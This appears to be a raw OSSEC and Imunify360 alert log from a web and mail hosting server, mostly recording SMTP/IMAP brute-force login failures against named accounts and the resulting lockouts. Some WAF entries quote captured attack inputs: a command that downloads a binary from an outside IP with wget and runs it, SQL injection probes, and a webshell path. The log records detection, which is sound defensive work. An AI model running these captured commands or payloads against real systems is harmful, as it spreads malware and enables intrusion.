2026-02-01 07:33:21 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56071: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-02-01 07:33:41 H=(localhost.localdomain) [78.153.140.207]:40216 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-02-01 07:34:42 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:49598: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.165.183.70
country_id: 1814991
description:
2026-02-01 07:34:13 dovecot_login authenticator failed for H=([39.165.183.70]) [39.165.183.70]:34686: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.91.135.181
country_id: 6252001
description:
2026-02-01 07:34:25 dovecot_login authenticator failed for H=([70.91.135.181]) [70.91.135.181]:51940: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:34:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:34:07 dovecot_login authenticator failed for H=(Rtk8pS0N) [158.94.208.175]:57471: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:34:16 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33148: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-01 07:34:17 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:53016: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:35:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@aire-fresh.com has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:35:03 dovecot_login authenticator failed for H=(5Aopr0Ti) [158.94.208.175]:58958: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.132.104.14
country_id: 3996063
domain: vc-b.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/vc-b.com.my/new.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:35:28 dovecot_login authenticator failed for H=(FJnMMQko) [158.94.208.175]:50380: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-02-01 07:37:00 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:34469: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.173.172.70
country_id: 3865483
description:
2026-02-01 07:37:01 dovecot_plain authenticator failed for H=(10I184C09IJ1) [190.173.172.70]:60846: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-02-01 07:37:01 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:16816: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:36:02 dovecot_login authenticator failed for H=(EDafsthe) [158.94.208.175]:60902: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:36:24 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49138: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.88.160.13
country_id: 1814991
description:
2026-02-01 07:36:50 dovecot_login authenticator failed for H=([125.88.160.13]) [125.88.160.13]:50042: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.195.135.222
country_id: 1814991
description:
2026-02-01 07:37:05 dovecot_login authenticator failed for H=([183.195.135.222]) [183.195.135.222]:43367: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 07:37:13 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:58588: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.136.195.32
country_id: 1814991
description:
2026-02-01 07:37:17 dovecot_login authenticator failed for H=(32.195.136.122.adsl-pool.jlccptt.net.cn) [122.136.195.32]:46170: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.80.228.231
country_id: 6252001
description:
2026-02-01 07:37:18 dovecot_login authenticator failed for H=([129.80.228.231]) [129.80.228.231]:47730: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:37:03 dovecot_login authenticator failed for H=(DYd3K4) [158.94.208.175]:55562: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.173.172.70
country_id: 3865483
description:
2026-02-01 07:37:08 dovecot_login authenticator failed for H=(10I184C09IJ1) [190.173.172.70]:60846: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-02-01 07:37:11 dovecot_login authenticator failed for H=([218.156.93.206]) [218.156.93.206]:51010: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.140.54
country_id: 1269750
description:
2026-02-01 07:37:34 dovecot_login authenticator failed for H=(dsl-mp-dynamic-054.140.23.125.airtelbroadband.in) [125.23.140.54]:43336: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:37:45 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62784: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:38:31 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:57630: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:38:36 dovecot_login authenticator failed for H=(EBs3Ac6) [158.94.208.175]:57687: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:38:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:55430: 535 Incorrect authentication data (set_id=testing@wcc.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:38:08 dovecot_login authenticator failed for H=(4oCi6XAY) [158.94.208.175]:63211: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.167
country_id: 690791
description:
2026-02-01 07:38:24 H=([77.83.39.167]) [77.83.39.167]:52245 F=<stevenwelbou@op.pl> rejected RCPT <inquiries@ktlog.com.my>: SPF: 77.83.39.167 is not allowed to send mail from op.pl


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:39:10 dovecot_login authenticator failed for H=(S6BHu5) [158.94.208.175]:56787: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 203.202.252.252
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=78291516783061 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.0.26
country_id: 2017370
description:
2026-02-01 07:39:48 dovecot_login authenticator failed for H=([31.173.0.26]) [31.173.0.26]:38158: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.20.234.161
country_id: 587116
description:
2026-02-01 07:39:57 dovecot_login authenticator failed for H=([94.20.234.161]) [94.20.234.161]:34984: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:39:08 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50894: 535 Incorrect authentication data (set_id=testing@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:40:23 dovecot_login authenticator failed for H=(KunrK0HG) [158.94.208.175]:60287: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:40:39 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59354: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.235.152
country_id: 1835841
description:
2026-02-01 07:41:00 dovecot_login authenticator failed for H=([218.149.235.152]) [218.149.235.152]:45046: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.146.233.156
country_id: 1269750
description:
2026-02-01 07:40:27 dovecot_login authenticator failed for H=([103.146.233.156]) [103.146.233.156]:55640: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:40:49 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.73.33.168
country_id: 1643084
description:
2026-02-01 07:40:50 dovecot_plain authenticator failed for H=(BLQ8UWWR76TP98) [36.73.33.168]:3925: 535 Incorrect authentication data (set_id=rahimah.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-02-01 07:40:16 dovecot_login authenticator failed for H=(23-30-11-253-static.hfc.comcastbusiness.net) [23.30.11.253]:45015: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-02-01 07:41:16 dovecot_plain authenticator failed for H=(hanbor) [154.144.243.93]:55448: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-02-01 07:41:33 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:43878: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-02-01 07:41:50 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:43981: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 07:41:11 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (amated) [87.103.126.54]:16010: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:41:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.224.171.101
country_id: 6252001
description:
2026-02-01 07:41:58 dovecot_plain authenticator failed for H=c-73-224-171-101.hsd1.fl.comcast.net (pruppet) [73.224.171.101]:34940: 535 Incorrect authentication data (set_id=admin@agsaintifik.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:41:03 dovecot_login authenticator failed for H=(aIxNxn) [158.94.208.175]:63236: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.231.6
country_id: 1269750
description:
2026-02-01 07:42:40 dovecot_login authenticator failed for H=([125.20.231.225]) [128.185.231.6]:46176: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-01 07:42:12 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:32904: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:42:30 dovecot_login authenticator failed for H=(fBdmH0ppd) [158.94.208.175]:59698: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/home/residential.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:42:47 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51140: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.60.146
country_id: 1269750
description:
2026-02-01 07:42:48 dovecot_login authenticator failed for H=([182.95.60.146]) [182.95.60.146]:57856: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.80
country_id: 1269750
description:
2026-02-01 07:43:35 dovecot_login authenticator failed for H=(nsg-corporate-80.229.187.122.airtel.in) [122.187.229.80]:48492: 535 Incorrect authentication data (set_id=shihui@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.160.105.66
country_id: 1814991
description:
2026-02-01 07:43:55 dovecot_login authenticator failed for H=([61.160.105.66]) [61.160.105.66]:49950: 535 Incorrect authentication data (set_id=shihui)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.97.17.208
country_id: 1835841
description:
2026-02-01 07:43:28 dovecot_login authenticator failed for H=([61.97.17.208]) [61.97.17.208]:38712: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:43:05 dovecot_login authenticator failed for H=(stiCrOZ) [158.94.208.175]:57397: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-02-01 07:43:50 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:59308: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:43:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.94.76.126
country_id: 1149361
description:
2026-02-01 07:43:19 dovecot_login authenticator failed for H=([180.94.76.126]) [180.94.76.126]:41115: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.106.64.101
country_id: 2635167
description:
2026-02-01 07:43:27 dovecot_login authenticator failed for H=ip87-106-64-101.pbiaas.com (localhost) [87.106.64.101]:57334: 535 Incorrect authentication data (set_id=jyteh@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-02-01 07:43:28 dovecot_login authenticator failed for H=([196.189.59.227]) [196.189.59.226]:34760: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:44:41 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:62981: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-02-01 07:44:06 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:42223: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77142263
name: IM360 WAF: IOT unauthenticated file upload and RCE
abuser: 91.224.92.177
country_id: 2635167
domain: 42.0.28.25:80
description:
IM360 WAF: IOT unauthenticated file upload and RCE||RSV:7.71||T:APACHE||MVN:ARGS:mdc||MV:cd /tmp;rm -rf parm7; wget http://94.156.152.67/bins/parm7; chmod 777 parm7; ./parm7 arm7||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:44:22 dovecot_login authenticator failed for H=(Sbas08f) [158.94.208.175]:63128: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:44:52 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:33344: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.50.255.110
country_id: 1643084
domain: chs.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/chs.com.my/projects-references.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:45:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51637: 535 Incorrect authentication data (set_id=test@box.wohcheong.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.68.220.15
country_id: 6252001
description:
2026-02-01 07:45:06 dovecot_plain authenticator failed for H=c-73-68-220-15.hsd1.ma.comcast.net (ovens) [73.68.220.15]:46254: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.32.99.14
country_id: 290557
description:
2026-02-01 07:45:09 dovecot_plain authenticator failed for H=(ingly) [5.32.99.14]:51961: 535 Incorrect authentication data (set_id=skgoh@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:45:17 dovecot_login authenticator failed for H=(sqKdJ9uLxe) [158.94.208.175]:59975: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:46:58 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39158: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 07:46:20 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63480: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-02-01 07:46:12 dovecot_login authenticator failed for H=(ipoe-static.mosoblast.rt.ru) [89.109.233.181]:42200: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:46:18 dovecot_login authenticator failed for H=(yZYeju) [158.94.208.175]:56571: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.39.82
country_id: 1814991
description:
2026-02-01 07:46:42 dovecot_login authenticator failed for H=([60.174.39.82]) [60.174.39.82]:36438: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:47:02 dovecot_login authenticator failed for H=(QQr7UW) [158.94.208.175]:63665: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:47:22 dovecot_login authenticator failed for H=(C3jPYktlAf) [158.94.208.175]:53426: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-02-01 07:48:50 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:47566: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.2.229
country_id: 1835841
description:
2026-02-01 07:48:59 dovecot_login authenticator failed for H=([218.156.2.229]) [218.156.2.229]:33785: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:48:28 dovecot_login authenticator failed for H=(ZgbCv6) [158.94.208.175]:61739: 535 Incorrect authentication data (set_id=miya)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 62.16.72.194
country_id: 6254930
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=84871515980605 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.0.235.30
country_id: 6252001
description:
2026-02-01 07:49:02 dovecot_plain authenticator failed for H=c-73-0-235-30.hsd1.fl.comcast.net (knica) [73.0.235.30]:46290: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:49:05 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49810: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.86.4
country_id: 1814991
description:
2026-02-01 07:49:29 dovecot_login authenticator failed for H=([60.174.86.4]) [60.174.86.4]:42012: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-02-01 07:49:53 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:33541: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.36
country_id: 1269750
description:
2026-02-01 07:49:10 dovecot_login authenticator failed for H=([122.187.229.36]) [122.187.229.36]:47118: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.37.203.28
country_id: 1831722
description:
2026-02-01 07:49:35 dovecot_login authenticator failed for H=([36.37.203.28]) [36.37.203.28]:53174: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:49:45 dovecot_login authenticator failed for H=(yBDWNJoEoP) [158.94.208.175]:64794: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.158
country_id: 2750405
description:
2026-02-01  7:50:54 208640 [Warning] Aborted connection 208640 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.158' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-02-01 07:50:04 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:44410: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.205.250.78
country_id: 290557
description:
2026-02-01 07:50:18 dovecot_plain authenticator failed for H=(prouners) [94.205.250.78]:56567: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-02-01 07:50:46 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:52458: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:50:15 dovecot_login authenticator failed for H=(UIO0oW2) [158.94.208.175]:62642: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 2001:e68:542f:3613:a95b:4df4:4d2:5ed5
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' order by 1 --  [no error]||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-02-01 07:50:37 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:33488: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.188.98
country_id: 1269750
description:
2026-02-01 07:51:40 dovecot_login authenticator failed for H=([128.185.119.9]) [125.19.188.98]:59652: 535 Incorrect authentication data


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:51:47 dovecot_login authenticator failed for H=(PPBslD) [158.94.208.175]:53068: 535 Incorrect authentication data (set_id=miya)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.233.231.160
country_id: 2750405
description:
2026-02-01 07:51:42 dovecot_login authenticator failed for H=customer-213-233-231-160.solcon.nl [213.233.231.160]:54214: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 07:51:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 07:51:11 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51736: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 150.129.138.198
country_id: 1814991
description:
2026-02-01 07:51:51 dovecot_login authenticator failed for H=([150.129.138.198]) [150.129.138.198]:52252: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:51:12 dovecot_login authenticator failed for H=(NKsB3fZ) [158.94.208.175]:52390: 535 Incorrect authentication data (set_id=miya)


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 2001:e68:542f:3613:a95b:4df4:4d2:5ed5
country_id: 1733045
domain: thinkcloud.com.my
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS:id||MV:1' union select 1,2,3,4 --  ||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 07:52:14 dovecot_login authenticator failed for H=(qMqbnqnTN) [158.94.208.175]:52676: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
